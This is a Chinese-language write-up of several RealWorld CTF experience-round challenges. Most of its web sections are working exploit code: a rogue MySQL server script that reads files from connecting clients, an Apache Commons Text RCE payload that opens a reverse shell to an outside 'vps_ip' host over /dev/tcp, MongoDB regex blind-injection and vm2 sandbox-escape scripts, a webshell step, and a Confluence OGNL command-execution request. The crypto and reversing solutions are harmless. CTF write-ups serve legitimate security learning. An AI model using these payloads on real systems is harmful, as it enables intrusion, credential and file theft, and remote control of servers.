RealWorld CTF(体验赛)部分WP

admin 2023年1月9日22:58:52评论153 views字数 9045阅读30分9秒阅读模式

0x1 羊了拼羊

签到题。js代码搜索ctf找到flag

RealWorld CTF(体验赛)部分WP

0x2 Evil Mysql Server

Mysql恶意服务器读取文件的漏洞。可构建一个恶意的myql服务器读取靶机上的/flag文件。在github找到注册恶意mysql服务器的脚本,修改脚本中读取的文件为/flag。

#!/usr/bin/env python#coding: utf8
import socketimport asyncoreimport asynchatimport structimport randomimport loggingimport logging.handlers
PORT = 3306
log = logging.getLogger(__name__)
log.setLevel(logging.INFO)tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))log.addHandler( tmp_format)
filelist = ( '/flag',)

#================================================#=======No need to change after this lines=======#================================================
__author__ = 'Gifts'
def daemonize(): import os, warnings if os.name != 'posix': warnings.warn('Cant create daemon on non-posix system') return
if os.fork(): os._exit(0) os.setsid() if os.fork(): os._exit(0) os.umask(0o022) null=os.open('/dev/null', os.O_RDWR) for i in xrange(3): try: os.dup2(null, i) except OSError as e: if e.errno != 9: raise os.close(null)

class LastPacket(Exception): pass

class OutOfOrder(Exception): pass

class mysql_packet(object): packet_header = struct.Struct('<Hbb') packet_header_long = struct.Struct('<Hbbb') def __init__(self, packet_type, payload): if isinstance(packet_type, mysql_packet): self.packet_num = packet_type.packet_num + 1 else: self.packet_num = packet_type self.payload = payload
def __str__(self): payload_len = len(self.payload) if payload_len < 65536: header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num) else: header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "{0}{1}".format( header, self.payload ) return result
def __repr__(self): return repr(str(self))
@staticmethod def parse(raw_data): packet_num = ord(raw_data[0]) payload = raw_data[1:]
return mysql_packet(packet_num, payload)

class http_request_handler(asynchat.async_chat):
def __init__(self, addr): asynchat.async_chat.__init__(self, sock=addr[0]) self.addr = addr[1] self.ibuffer = [] self.set_terminator(3) self.state = 'LEN' self.sub_state = 'Auth' self.logined = False self.push( mysql_packet( 0, "".join(( 'x0a', # Protocol '5.6.28-0ubuntu0.14.04.1' + '', 'x2dx00x00x00x40x3fx59x26x4bx2bx34x60x00xffxf7x08x02x00x7fx80x15x00x00x00x00x00x00x00x00x00x00x68x69x59x5fx52x5fx63x55x60x64x53x52x00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00', )) ) )
self.order = 1 self.states = ['LOGIN', 'CAPS', 'ANY']
def push(self, data): log.debug('Pushed: %r', data) data = str(data) asynchat.async_chat.push(self, data)
def collect_incoming_data(self, data): log.debug('Data recved: %r', data) self.ibuffer.append(data)
def found_terminator(self): data = "".join(self.ibuffer) self.ibuffer = []
if self.state == 'LEN': len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1 if len_bytes < 65536: self.set_terminator(len_bytes) self.state = 'Data' else: self.state = 'MoreLength' elif self.state == 'MoreLength': if data[0] != '': self.push(None) self.close_when_done() else: self.state = 'Data' elif self.state == 'Data': packet = mysql_packet.parse(data) try: if self.order != packet.packet_num: raise OutOfOrder() else: # Fix ? self.order = packet.packet_num + 2 if packet.packet_num == 0: if packet.payload[0] == 'x03': log.info('Query')
filename = random.choice(filelist) PACKET = mysql_packet( packet, 'xFB{0}'.format(filename) ) self.set_terminator(3) self.state = 'LEN' self.sub_state = 'File' self.push(PACKET) elif packet.payload[0] == 'x1b': log.info('SelectDB') self.push(mysql_packet( packet, 'xfex00x00x02x00' )) raise LastPacket() elif packet.payload[0] in 'x02': self.push(mysql_packet( packet, 'x02' )) raise LastPacket() elif packet.payload == 'x00x01': self.push(None) self.close_when_done() else: raise ValueError() else: if self.sub_state == 'File': log.info('-- result') log.info('Result: %r', data)
if len(data) == 1: self.push( mysql_packet(packet, 'x02') ) raise LastPacket() else: self.set_terminator(3) self.state = 'LEN' self.order = packet.packet_num + 1
elif self.sub_state == 'Auth': self.push(mysql_packet( packet, 'x02' )) raise LastPacket() else: log.info('-- else') raise ValueError('Unknown packet') except LastPacket: log.info('Last packet') self.state = 'LEN' self.sub_state = None self.order = 0 self.set_terminator(3) except OutOfOrder: log.warning('Out of order') self.push(None) self.close_when_done() else: log.error('Unknown state') self.push('None') self.close_when_done()

class mysql_listener(asyncore.dispatcher): def __init__(self, sock=None): asyncore.dispatcher.__init__(self, sock)
if not sock: self.create_socket(socket.AF_INET, socket.SOCK_STREAM) self.set_reuse_addr() try: self.bind(('', PORT)) except socket.error: exit()
self.listen(5)
def handle_accept(self): pair = self.accept()
if pair is not None: log.info('Conn from: %r', pair[1]) tmp = http_request_handler(pair)

z = mysql_listener()# daemonize()asyncore.loop()

在vps上开启恶意mysql服务器,在web页面填写恶意服务器地址,在vps的mysql.log即可读取flag。

RealWorld CTF(体验赛)部分WP

0x3 Be-a-Language-Expert

thinkphp6 多语言文件包含漏洞。

写入webshell

RealWorld CTF(体验赛)部分WP

蚁剑连接

RealWorld CTF(体验赛)部分WP

readflag

RealWorld CTF(体验赛)部分WP

0x4 Apache Commons Text

Apache Commons Text远程代码执行漏洞。通过分析可知,后端做了一些黑名单策略。不允许出现script、file等字符串。

RealWorld CTF(体验赛)部分WP

base64函数可用,编码后能被执行,但无回显

${base64Decoder:JHtzY3JpcHQ6anM6amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoImxzIikudG9TdHJpbmcoKX0=}

RealWorld CTF(体验赛)部分WP

对如下payload进行base64加密:

${script:js:java.lang.Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/vps_ip/2333 0>&1")}

反弹shell成功

RealWorld CTF(体验赛)部分WP

RealWorld CTF(体验赛)部分WP

readflag 

RealWorld CTF(体验赛)部分WP

0x5 Yummy Api

默认账号密码 [email protected]/ymfe.org。先尝试了一下添加接口高级Mock脚本命令执行,没成功。

尝试mongodb注入获取token,从而实现vm逃逸。

先盲注获得token:

import requeststokenletter = "0123456789abcedf"url1 = "http://47.98.161.119:9090/api/project/get"token = ""for i in range(16):    for j in tokenletter:        body = {"token":{"$regex":"^" + token + j}}        resp = requests.get(url=url1,json=body,verify=False)        if "406" in resp.text:            print(body)            token += j            print(token)#8fa743801266b2391d16

得到token为8fa743801266b2391d16。

aes192加密token得到uidtoken,遍历id发现id=11时有数据

RealWorld CTF(体验赛)部分WP

写脚本获取加密后的uidtoken

const crypto = require('crypto');
uid = "11"token = "8fa743801266b2391d16"data = uid + "|" + token
password = "abcde"
// 如下方法使用指定的算法与密码来创建cipher对象const cipher = crypto.createCipher('aes192', password);
// 使用该对象的update方法来指定需要被加密的数据let crypted = cipher.update(data, 'utf-8', 'hex');
crypted += cipher.final('hex');
console.log(crypted)

得到加密后的token为:

043454c1c1399255295ebf2fff47e5cc494108968ad05f848627c334d91ad2bc

接着上传vm逃逸脚本

import requestsimport re
token = "043454c1c1399255295ebf2fff47e5cc494108968ad05f848627c334d91ad2bc"url = f'http://47.98.161.119:9090/api/project/up?token={token}'headers = { "content-type":"application/json"}vm2Script = """const sandbox = thisconst ObjectConstructor = this.constructorconst FunctionConstructor = ObjectConstructor.constructorconst myfun = FunctionConstructor('return process')const process = myfun()mockJson = process.mainModule.require("child_process").execSync("/readflag").toString()context.responseData = 'testtest' + mockJson + 'testtest'console.log(responseData)"""body_json = {"id":11,"pre_script":"","after_script":vm2Script}
print(body_json)id = 1while id: body_json["id"] = id ## 项目id 需要枚举 resp = requests.post(url=url,headers=headers,json=body_json) print(resp.status_code) print(resp.text) if resp.status_code == 200 and re.search(""errcode":0",resp.text): print("[*] pre-response 脚本上传成功") id = False else: print("[*] pre-response 脚本上传失败") id+=1#id=66时成功

最后触发漏洞得到flag

import requestsimport re
token = "043454c1c1399255295ebf2fff47e5cc494108968ad05f848627c334d91ad2bc"
id = 1
while id: url =f'http://47.98.161.119:9090/api/open/run_auto_test?id={id}&token={token}&mode=html' resp = requests.get(url=url) if re.search("YAPI",resp.text) and re.search("",resp.text): print("[*] 命令执行成功") # print(url) print("===") print(id) print(re.search("testtest[sS]*testtest",resp.text)[0]) id = False break print(url) id += 1
exit()

0x6 Be-a-Wiki-Hacker

Atlassian Confluence远程代码执行漏洞

payload如下:

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/flag%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1

RealWorld CTF(体验赛)部分WP

0x7 babycurve

本题为椭圆曲线求解问题。当u=w时,3*u*w + 4*u + 1 = 3u^2 + 4u + 1,从而可以知道椭圆曲线公式为:y^2 = x^3 + 2x^2 + x + C,带入点(4,10),可得C=0,即椭圆曲线公式为:y^2 = x^3 + 2x^2 + x = x(x^2+2x+1) = x(x+1)^2,为奇异椭圆曲线,根据其性质,可将奇异椭圆曲线上的点构成的群映射到有限域上的乘法群中。

在github找了一个现成的脚本,将点P(4,10)和加密后的点Q映射到有限域上的数mapP、mapQ,从而将椭圆曲线求解转化为有限域上的离散对数求解,使用sage可解得x。

p = 193387944202565886198256260591909756041PP = PolynomialRing(GF(p), 'x')x = PP.gens()[0]f = x^3 + 2*x^2 + xf_ = f.subs(x=x-1)root = f_.factor()[0][0][0]
def trans(P): P_ = (P[0] +1, P[1]) t = GF(p)(root).square_root() res = (P_[1] + t*P_[0])/(P_[1] - t*P_[0]) % p return res
mapP = trans((4, 10))mapQ = trans((65639504587209705872811542111125696405, 125330437930804525313353306745824609665))print(mapQ.log(mapP))

用求出的x解密发现flag乱码,考虑到可能存在多解情况,尝试不同的x进行AES解密,最后得到flag。

#!/usr/bin/env python3# coding=utf-8
from Crypto.Cipher import AES
p = 193387944202565886198256260591909756041ctext = bytes.fromhex('b3669dc657cef9dc17db4de5287cd1a1e8a48184ed9746f4c52d3b9f8186ec046d6fb1b8ed1b45111c35b546204b68e0')
def test(x): aes = AES.new(x.to_bytes(16, 'big'), AES.MODE_CBC, bytes(16)) flag = aes.decrypt(ctext) if b'rwctf' in flag: print(flag)
x = 4470735776084208177429085432176719338while x < p: test(x) x += (p-1) // 4

0x8 Snake

使用jeb逆向分析发现本程序为贪吃蛇游戏,蛇的每一截身体都是一个从资源列表中选取的png图像。一开始为随机图像,蛇超过一定长度后开始新增固定图像。固定图像共22个,每次从17个图像中选取(b0.png~b16.png,为17个ASCII字符的图像)。

RealWorld CTF(体验赛)部分WP

RealWorld CTF(体验赛)部分WP

所选图像的下标通过一段brainfuck代码计算得到,brainfuck关键代码如下:

RealWorld CTF(体验赛)部分WP

该brainfuck代码将'['、']'和'<'、'>'字符的含义进行了交换。模拟执行该代码得到23个数,根据程序逻辑去掉第一个,剩下的22个即为下标,以此选取对应的字母图像,组合得到的字符串,再以rwctf{}包上即为flag:rwctf{K33PG01NGD0N0TG1V3UPPP}。

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  • 本文由 发表于 2023年1月9日22:58:52
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